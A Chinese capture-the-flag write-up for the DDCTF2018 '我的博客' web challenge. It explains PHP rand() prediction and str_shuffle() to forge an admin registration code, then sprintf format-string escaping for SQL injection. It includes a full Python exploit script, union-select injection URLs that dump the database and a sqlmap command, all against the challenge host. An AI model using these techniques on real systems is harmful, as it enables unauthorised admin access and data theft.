DDCTF2018-我的博客

题目链接:http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d

源码审计

尝试正常注册登录,注册处有个code输入框,不知道是干什么的,登录上去以后告诉不是管理员。通过提示的www.tar.gz的备份文件,下载到题目源码,总共三个文件:

  • index.php
  • login.php
  • register.php

index.php

<?php
session_start();
include "config.php";

if (!isset($_SESSION['is_admin'])) {
    die('<br> Please <a href="login.php">login</a>!');
}

if (!$_SESSION['is_admin']) {
    die('You are not admin. <br> Please <a href="login.php">login</a>!');
}

if(isset($_GET['id'])){
    $id = addslashes($_GET['id']);
    if(isset($_GET['title'])){
        $title = addslashes($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

    foreach ($pdo->query($sql) as $row) {
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }

}
?>
  • 判断session中的is_admin属性,需要为1才能继续执行到接下来的sql查询
  • 这个sql通过两个格式化字符串拼接出sql查询语句,有可能引起注入

login.php

<?php
session_start();
include('config.php');

if($_SERVER['REQUEST_METHOD'] === "POST") {
    if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
        die("CSRF token error!");
    }

    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');

    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);

    if ($sth->fetch()[0] !== $password) {
        die('wrong password');
    }

    $sth = $pdo->prepare('SELECT `identity` FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);

    if ($sth->fetch()[0] === "admin") {
        $_SESSION['is_admin'] = true;
    } else {
        $_SESSION['is_admin'] = false;
    }

    #echo $username;
    header("Location: index.php");
} 

?>

  • 通过安全的使用pdo来避免产生sql注入
  • 接受username,password,csrf三个参数
  • 通过查询表中的identity字段,确定session中的is_admin的值

register.php

<?php

session_start();
include('config.php');

if($_SERVER['REQUEST_METHOD'] === "POST") {
    if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
        die("CSRF token error!");
    }

    $admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);

    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    if($code === $admin) {
        $identity = "admin";
    } else {
        $identity = "guest";
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password, `identity`) VALUES (:username, :password, :identity)');
    $sth->execute([':username' => $username, ':password' => $password, ':identity' => $identity]);

    echo '<script>alert("register success");location.href="./login.php"</script>';
} 

<input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
?>
  • 通过安全的使用pdo来避免产生sql注入
  • 接受username,password,csrf,code四个参数
  • csrf由随机函数rand()生成
  • 如果输入的code参数等于给定的$admin,则注册账号的identity字段为admin
  • $admin由str_shuffle()函数生成
  • str_shuffle()是个随机打乱字符串的函数

str_shuffle

str_shuffle() 函数随机打乱字符串中的所有字符

这里既然给出的$admin是由这个函数生成的,那么就应该去研究函数的实现,找到打乱字符串的具体方式。php内置函数的实现需要找到php源码,可以在github上找到各个版本的php源码:

https://github.com/php/php-src

函数实现(PHP/5.6.35)

由于各个版本的php对于一些函数的实现方式是不同的,所以这里查看响应中的php版本:

Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.35

https://github.com/php/php-src/tree/PHP-5.6.35

下载并全局搜索str_shuffle即可,定位到/ext/standard/string.c第5422行

PHP_FUNCTION(str_shuffle)
{
    char *arg;
    int arglen;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arglen) == FAILURE) {
        return;
    }

    RETVAL_STRINGL(arg, arglen, 1);
    if (Z_STRLEN_P(return_value) > 1) {
        php_string_shuffle(Z_STRVAL_P(return_value), (long) Z_STRLEN_P(return_value) TSRMLS_CC);
    }
}

第5394行

static void php_string_shuffle(char *str, long len TSRMLS_DC)
{
    long n_elems, rnd_idx, n_left;
    char temp;
    n_elems = len;

    if (n_elems <= 1) {
        return;
    }

    n_left = n_elems;

    while (--n_left) {
        rnd_idx = php_rand(TSRMLS_C);
        RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
        if (rnd_idx != n_left) {
            temp = str[n_left];
            str[n_left] = str[rnd_idx];
            str[rnd_idx] = temp;
        }
    }
}

函数分析

c代码中具体的宏定义没有仔细研究,但看得出来php的内置函数是通过PHP_FUNCTION(str_shuffle)这种方式来定义,在函数内部,解析了传入的参数并调用php_string_shuffle最终完成字符串的打乱。打乱的步骤就是php_string_shuffle函数中的while循环:

    while (--n_left) {
        rnd_idx = php_rand(TSRMLS_C);
        RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
        if (rnd_idx != n_left) {
            temp = str[n_left];
            str[n_left] = str[rnd_idx];
            str[rnd_idx] = temp;
        }
    }
  • 每个循环中,生成一个随机数,并使其落在零到字符串长度这个区间
  • 将字符串从尾至头与随机位置交换,得到打乱的字符串

这里如果想要预测打乱的字符串,那么必须预测每一次循环生成的随机数,也就是在这里所用的php_rand()这个函数。

php随机函数

引言:PHP的伪随机数与真随机数详解

在php中常利用两对函数来生成随机数:

  • rand()和srand()
  • mt_rand()和mt_srand()

要想区分两组函数随机数生成的异同,这里要考虑如下因素:

  • php版本
  • php运行环境(linux or windows)

在不同php版本中,各个函数的实现是存在差异的,比如在新版本的php中看到rand()函数的源码,里面就是封装了返回mt_rand(),但是在老版本的rand()函数中,的确是另一种实现方法。并且在不同的操作系统中,函数的实现也是不尽相同的。

播种函数

以上两组函数都是由两个函数组成,其中srand()和mt_srand()是播种函数,将传入的数值作为随机数的种子。由同一个种子生成的随机数序列是相同的。这里以rand()函数为例,mt_rand()同理:

<?php
srand(1);

echo rand();
echo "\n";

echo rand();
echo "\n";

echo rand();
echo "\n";
?>

这段php代码无论你运行多少次得到的结果都是相同的,但是如果是更换了php版本,结果也许会有不同。所以如果你知道了播种函数中的参数,就是种子的值,那么是完全可以算出随机数的生成序列的。

在w3school可以找到PHP rand()函数的注释如下:

注释:在某些平台下(例如 Windows)RAND_MAX 只有 32768。如果需要的范围大于 32768,那么指定 min 和 max 参数就可以生成大于 RAND_MAX 的数了,或者考虑用 mt_rand() 来替代它。

注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现在已自动完成。

注释:在 3.0.7 之前的版本中,max 的含义是 range 。要在这些版本中得到和上例相同 5 到 15 的随机数,简短的例子是 rand (5, 11)。

可见从PHP 4.2.0之前的版本如果要使用rand()函数,则必须在之前调用srand()给随机数发生器播种,之后的版本由系统自动完成,那么系统自动播种的种子可以预测到么?

rand()与srand()函数实现

位置:/ext/standard/rand.c

4.2.0

https://github.com/php/php-src/blob/PHP-4.2.0/ext/standard/rand.c

srand:

PHPAPI void php_srand(long seed TSRMLS_DC)
{
#ifdef ZTS
    BG(rand_seed) = (unsigned int) seed;
#else
# if defined(HAVE_SRANDOM)
    srandom((unsigned int) seed);
# elif defined(HAVE_SRAND48)
    srand48(seed);
# else
    srand((unsigned int) seed);
# endif
#endif
}

PHP_FUNCTION(srand)
{
    long seed;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &seed) == FAILURE)
        return;

    if (ZEND_NUM_ARGS() == 0)
        seed = GENERATE_SEED();

    php_srand(seed TSRMLS_CC);
    BG(rand_is_seeded) = 1;
}

rand:

PHPAPI long php_rand(TSRMLS_D)
{
    long ret;

#ifdef ZTS
    ret = php_rand_r(&BG(rand_seed));
#else
# if defined(HAVE_RANDOM)
    ret = random();
# elif defined(HAVE_LRAND48)
    ret = lrand48();
# else
    ret = rand();
# endif
#endif

    return ret;
}


PHP_FUNCTION(rand)
{
    long min;
    long max;
    long number;
    int  argc = ZEND_NUM_ARGS();

    if (argc != 0 && zend_parse_parameters(argc TSRMLS_CC, "ll", &min, &max) == FAILURE)
        return;

    if (!BG(rand_is_seeded)) {
        php_srand(GENERATE_SEED() TSRMLS_CC);
    }

    number = php_rand(TSRMLS_C);
    if (argc == 2) {
        RAND_RANGE(number, min, max, PHP_RAND_MAX);
    }

    RETURN_LONG(number);
}

可见在rand()函数中最终调用的函数是跟编译的设置有关,可以猜测这里是根据操作系统不同,然后调用了不同的函数去生成随机数,最后返回给php的rand()函数。也就是说,php这个版本的rand()函数是依赖于操作系统的。

7.1.0

https://github.com/php/php-src/blob/PHP-7.1.0/ext/standard/rand.c

#include "php.h"
#include "php_rand.h"
#include "php_mt_rand.h"


PHPAPI void php_srand(zend_long seed)
{
    php_mt_srand(seed);
}


PHPAPI zend_long php_rand(void)
{
    return php_mt_rand();
}


PHP_FUNCTION(rand)
{
    zend_long min;
    zend_long max;
    int argc = ZEND_NUM_ARGS();

    if (argc == 0) {
        RETURN_LONG(php_mt_rand() >> 1);
    }

    if (zend_parse_parameters(argc, "ll", &min, &max) == FAILURE) {
        return;
    }

    if (max < min) {
        RETURN_LONG(php_mt_rand_common(max, min));
    }

    RETURN_LONG(php_mt_rand_common(min, max));
}

在7.1.0版本中rand.c代码仅有79行,而且发现rand()函数中直接调用了php_mt_rand()函数,在之后的版本已经废除了原来的随机数生成方式彻底改用mt_rand()函数来生成随机数。mt_rand()这个函数又是怎么实现的呢?

mt_rand()与mt_srand()函数实现

这两个函数在4.2.0到7.1.0的实现原理没有太大变化,只是源码实现的位置发生改变。

4.2.0:https://github.com/php/php-src/blob/PHP-4.2.0/ext/standard/rand.c

7.1.0:https://github.com/php/php-src/blob/PHP-7.1.0/ext/standard/mt_rand.c

但这两个函数中用到的php_mt_reload()函数实现发生改变,导致从7.1.0开始由相同的种子实现的mt_rand()函数生成的伪随机数序列稍有不同。

PHPAPI php_uint32 php_mt_rand(TSRMLS_D)
{
    php_uint32 y;

    if (--BG(left) < 0)
        return php_mt_reload(TSRMLS_C);

    y  = *BG(next)++;
    y ^= (y >> 11);
    y ^= (y <<  7) & 0x9D2C5680U;
    y ^= (y << 15) & 0xEFC60000U;

    return y ^ (y >> 18);
}

PHP_FUNCTION(mt_srand)
{
    long seed;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &seed) == FAILURE) 
        return;

    if (ZEND_NUM_ARGS() == 0)
        seed = GENERATE_SEED();

    php_mt_srand(seed TSRMLS_CC);
    BG(mt_rand_is_seeded) = 1;
}
PHPAPI void php_mt_srand(php_uint32 seed TSRMLS_DC)
{
    register php_uint32 x = (seed | 1U) & 0xFFFFFFFFU, *s = BG(state);
    register int    j;
    
    for (BG(left) = 0, *s++ = x, j = N; --j;
        *s++ = (x *= 69069U) & 0xFFFFFFFFU);
}

PHP_FUNCTION(mt_srand)
{
    long seed;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &seed) == FAILURE) 
        return;

    if (ZEND_NUM_ARGS() == 0)
        seed = GENERATE_SEED();

    php_mt_srand(seed TSRMLS_CC);
    BG(mt_rand_is_seeded) = 1;
}

这一组生成伪随机数函数是与操作系统相独立的,也就是说给定的mt_srand()固定的种子,计算出的随机数序列是不分操作系统的。并且在4.2.0-7.0.30是相同的,在7. 1.0-7.2.5是相同的。

如下示例:

<?php
mt_srand(1);
for($i=1;$i<10;$i++){
    echo mt_rand()."\n";
}

在php7.2.0得到结果:

895547922
2141438069
1546885062
2002651684
245631
275145156
649254245
2145423170
315155879

但在php7.0.12得到如下结果

1244335972
15217923
1546885062
2002651684
2135443977
1865258162
1509498899
2145423170
1837306065

可见随机数序列不完全一样,根据http://www.openwall.com/php_mt_seed/中指出:

PHP’s mt_rand() algorithm changed over the years since its introduction in PHP 3.0.6. php_mt_seed 4.0 supports 3 major revisions of the algorithm: PHP 3.0.7 to 5.2.0, PHP 5.2.1 to 7.0.x, and PHP 7.1.0+ (at least up to the latest as of this writing, which is PHP 7.2.0beta3).

mt_rand()函数的具体算法经历了三次变化,由于5.2.1的版本php的环境很少见,如今的mt_rand()以主要以7.1.0版本划分

实现方式总结

可见针对于随机函数较大变化的版本为7.1.0

7.1.0版本前

  • rand()函数依赖于操作系统实现
  • mt_rand()函数独立实现

7.1.0版本后

  • rand()函数就是mt_rand()函数
  • mt_rand()函数给定种子生成的随机序列有所变化

预测随机数

其实预测方法无非就是爆破,那么要预测的有以下八种情况:

  • 7.1.0以前的windows下rand手工播种
  • 7.1.0以前的windows下rand自动播种

  • 7.1.0以前的linux下rand手工播种
  • 7.1.0以前的linux下rand自动播种

  • 7.1.0以前的windows(linux)下mt_rand手工播种
  • 7.1.0以前的windows(linux)下mt_rand自动播种

  • 7.1.0以后的windows(liunx)下mt_rand手工播种
  • 7.1.0以后的windows(linux)下mt_rand自动播种

随机数与进程

预测之前我们要注意的随机序列是由播种函数来确定的,但是播种函数的生效范围是至关重要的。仅仅在同一个php进程中,通过srand()或者mt_srand()函数播种,才会确定该进程中的rand()或者mt_rand()函数生成随机数的序列。也就是说我们最终要预测的随机数,前提是在某个进程下才有意义的。

参考:

PHP mt_rand()随机数安全

搞不清FastCgi与PHP-fpm之间是个什么样的关系

PHP目前比较常见的五大运行模式

爆破种子

以上十二种情况均可通过爆破的方式来预测随机数,前提是要保持在同一个进程中。并且要获得一些这个进程下产生的随机数(一般是前几个)才可以有效爆破。

手工播种

只要想办法让php执行到手工播种的代码,然后可以得到该进程中的生成的随机数序列即可爆破。

自动播种

每个进程启动时,都会自动播种。有人说7.1.0以前的windows下rand自动播种每个新的进程是一的自动播种是相同的,但是我自己试验没有成功,所以在自动播种时,我们每次爆破时只针对当前进程有效。而如果是如上的手工播种,只要相应进程执行到手工播种的代码,这个随机序列就是有效的。

爆破方法

其中针对于mt_rand()有爆破工具:php_mt_seed

针对于rand()的爆破参考如下:

Cracking PHP rand()

译-Cracking PHP rand()-token 能破解吗?

linux下7.1.0版本以前rand

这里要单独说明这种情况,因为这里的随机数具有另一种特性,与种子无关:

而在linux下,PHP rand函数在底层使用的是glibc rand(),它会保留前面生成随机数的数据,作为后面随机数生成的依据,以此保证伪随机数的均匀性,但这样会导致严重的安全问题,也就是如果我们知道前面生成的随机序列,那么完全可以预测后面的随机数。 公式为:

num[n] = (num[n-3] + num[n-31]) mod (MAX)

其中num列表就是随机数的列表,MAX为rand(0,MAX)设置的上边界,可用php中的getrandmax()函数,用来获取最大的随机数

参考:Pwnhub会员日一题引发的思考

本题code参数解法

  • 可见str_shuffle()是用的rand()函数来打乱字符串的
  • 并且在register.php中每次输出的csrf就是由rand()函数生成
  • 题目环境符合linux下7.1.0版本以前rand()自动播种

则先获得前31个随机数,则可用第1个和第29个随机数来预测第32个随机数,如果预测成功,则可以继续预测整个随机数序列。便可预测str_shuffle()每次用到的rand()的值,进而的得知打乱的字符串。

尝试预测rand ()

这里我们如何保证是是在同一个进程下呢?其实我也不知道,先用脚本尝试一下:

# -*- encoding: utf-8 -*-
import requests,re
codelist=[0]

url="http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php"
partter='<input type="hidden" name="csrf" id="csrf" value="(.*?)" required>'
s= requests.Session()

for i in range(1,33):
    r= s.get(url=url)
    code = re.search(partter,r.content).group(1)
    print "第"+str(i)+"个值为:"+code
    codelist.append(int(code))

print "预测的32个值为:"+str((codelist[1]+codelist[29])%2147483647)

结果如下:

第28个值为:470634897
第29个值为:155755019
第30个值为:1255385298
第31个值为:248915336
第32个值为:116378370
预测的32个值为:116378370

预测成功,说明这里并不用刻意去保证同一个进程

生成整个随机数列表

for i in range(33,120):
    realcode=(codelist[i-31]+codelist[i-3])%2147483647
    codelist.append(realcode)

移植python版str_shuffle()函数

c版


#define RAND_RANGE(__n, __min, __max, __tmax) \
    (__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))

static void php_string_shuffle(char *str, long len TSRMLS_DC)
{
    long n_elems, rnd_idx, n_left;
    char temp;
    n_elems = len;

    if (n_elems <= 1) {
        return;
    }

    n_left = n_elems;

    while (--n_left) {
        rnd_idx = php_rand(TSRMLS_C);
        RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
        if (rnd_idx != n_left) {
            temp = str[n_left];
            str[n_left] = str[rnd_idx];
            str[rnd_idx] = temp;
        }
    }
}

python版


def RAND_RANGE(__n, __min, __max,__tmax):
    return __min+(__max-__min+1.0)*(__n/(__tmax+1.0))

def shuffle(text,length):
    n_elems = length
    if n_elems <= 1:
        return
    n_left = n_elems
    num=0
    while n_left:
        n_left=n_left-1
        rnd_idx = codelist[33+num];
        num=num+1
        rnd_idx=int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647));
        if (rnd_idx != n_left) :
            temp = text[n_left]
            text = text[:n_left]+text[rnd_idx]+text[n_left+1:]
            text = text[:rnd_idx]+temp+text[rnd_idx+1:]
    return text


整合注册

import requests,re
# state[i] = state[i-3] + state[i-31]
codelist=[0]

url="http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php"
partter='<input type="hidden" name="csrf" id="csrf" value="(.*?)" required>'
text="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def RAND_RANGE(__n, __min, __max,__tmax):
    return __min+(__max-__min+1.0)*(__n/(__tmax+1.0))

def shuffle(text,length):
    n_elems = length
    if n_elems <= 1:
        return
    n_left = n_elems
    num=0
    while n_left:
        n_left=n_left-1
        rnd_idx = codelist[33+num];
        num=num+1
        rnd_idx=int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647));
        if (rnd_idx != n_left) :
            temp = text[n_left]
            text = text[:n_left]+text[rnd_idx]+text[n_left+1:]
            text = text[:rnd_idx]+temp+text[rnd_idx+1:]
    return text

s= requests.Session()

for i in range(1,33):
    r= s.get(url=url)
    code = re.search(partter,r.content).group(1)
    print code
    codelist.append(int(code))
    if i==31:
        print (codelist[1]+codelist[29])%2147483647

for i in range(33,120):
    realcode=(codelist[i-31]+codelist[i-3])%2147483647
    codelist.append(realcode)

code="admin###"+shuffle(text,len(text))[0:32]
csrftoken=codelist[32]

data={
    "username":"gogodena",
    "password":"gogodena",
    "csrf":csrftoken,
    "code":code
}

b = s.post(url=url,data=data)

print b.content

成功注册管理员账号,登录进入index.php

格式化字符串注入

index.php

if(isset($_GET['id'])){
    $id = addslashes($_GET['id']);
    if(isset($_GET['title'])){
        $title = addslashes($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

    foreach ($pdo->query($sql) as $row) {
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }

对id和title都进行了单引号的转义,但是又将title重新拼接到一个格式化字符串中这里可能引发单引号的逃逸

sprintf

http://php.net/manual/zh/function.sprintf.php

主要逃逸方法:

  • %1$\'过转义
  • %1$'%s'过prepare

参考:

从WordPress SQLi谈PHP格式化字符串问题(2017.11.01更新)

sprintf格式化字符串带来的注入隐患

示例

<?php
$a="superman";
$b="I am %s";
echo sprintf($b,$a);
?>

输出:I am superman
解释:将%s替换为变量a
<?php
$a="superman";
$b="I am %10s";
echo sprintf($b,$a);
?>

输出:I am   superman
解释:将%s替换为变量a,中间的10为字符串格式化的长度,所以向右空了两个字符
<?php
$a="superman";
$b="I am %'#10s";
echo sprintf($b,$a);
?>

输出:I am ##superman
解释:单引号为表示填充,用后面的字符(这里为井号)填充空白,其余同上
<?php
$a="superman";
$b="I am %'10s";
echo sprintf($b,$a);
?>

输出:I am superman
解释:不详
<?php
$a="superman";
$b="I am %'10s'";
echo sprintf($b,$a);
?>

输出:I am superman'
解释:不详
<?php
$a="superman";
$b="I am %s %s";
echo sprintf($b,$a);
?>

报错:太少参数
<?php
$a="superman";
$b="I am %1$s";
echo sprintf($b,$a);
?>

报错:太少参数
<?php
$a="superman";
$b="I am %1\$s";
echo sprintf($b,$a);
?>

输出:I am superman
解释:1\$为指明参数的标记
<?php
$a="superman";
$b="I am %1\$s %1\$s";
echo sprintf($b,$a);
?>

输出:I am superman superman
解释:均指明为第一个参数
<?php
$a="superman";
$b="I am %1$8s %1$8s";
echo sprintf($b,$a);
?>

输出:I am superman superman
解释:这里省去了美元符号前的反斜杠,前提是美元符号后面有格式化的位数标记
<?php
$a="superman";
$b="I am %y";
echo sprintf($b,$a);
?>

输出:I am
解释:没有%y这个参数
<?php
$a="superman";
$b="I am %y'";
echo sprintf($b,$a);
?>

输出:I am '
解释:没有%y这个参数
<?php
$a="superman";
$b="I am %\'";
echo sprintf($b,$a);
?>

输出:I am '
解释:没有%\这个参数

过转义

%1$'–>%1$\'–>'

这个绕过的原型是%',当其经过转义后变成%、',但因为不存在%\这种类型,在sprintf函数源码中直接跳过了处理,因此%\相当于直接被删掉导致单引号逃逸:

%'–>%\'–>'

但是拼接的格式化字符串中肯定还会有%s,所以加上指明参数的1$可以不引发报错。

部分源码如下:在ext/standard/formatted_print.c第643行可见对其他字符直接break

                case 'b':
                    php_sprintf_append2n(&result, &outpos,
                                         zval_get_long(tmp),
                                         width, padding, alignment, 1,
                                         hexchars, expprec);
                    break;

                case '%':
                    php_sprintf_appendchar(&result, &outpos, '%');

                    break;
                default:
                    break;

过prepare

%1$%s–>%1$'%s'–>'

这个和上面完全是两种利用思路,这个是把单引号当为控制填充的符号,语意为利用%填充,导致后面的单引号逃逸

本题注入解法

很显然title变量拼接进第二个格式化字符串,并且是需要过转义,尝试如下payload:

id=1&title=%1$'%20or%201=1%23

成功注入,通过联合查询,最终查询到flag

http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=%1$%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%20%23

information_schema,a8e79480

http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=%1$%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23

article,key,users


http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=%1$%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x6B6579%20%23

f14g

http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=%1$%27%20union%20select%201,2,group_concat(f14g)%20from%20a8e79480.key%20where%201=1%20%23

DDCTF{39a3b3cf60a4bee19bf510c5be361f3d}

另外sqlmap也可以直接跑出结果:

sqlmap.py -u "http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=" -p "title" --cookie "PHPSESSID=a0da651ea36361e90685492346965c44"  --prefix "%1$'"  --suffix "%23" --level 5

参考wp

DDCTF2018 WEB5 我的博客 WRITEUP【lz1y】

DDCTF 2018 Web Writeup【Wfox】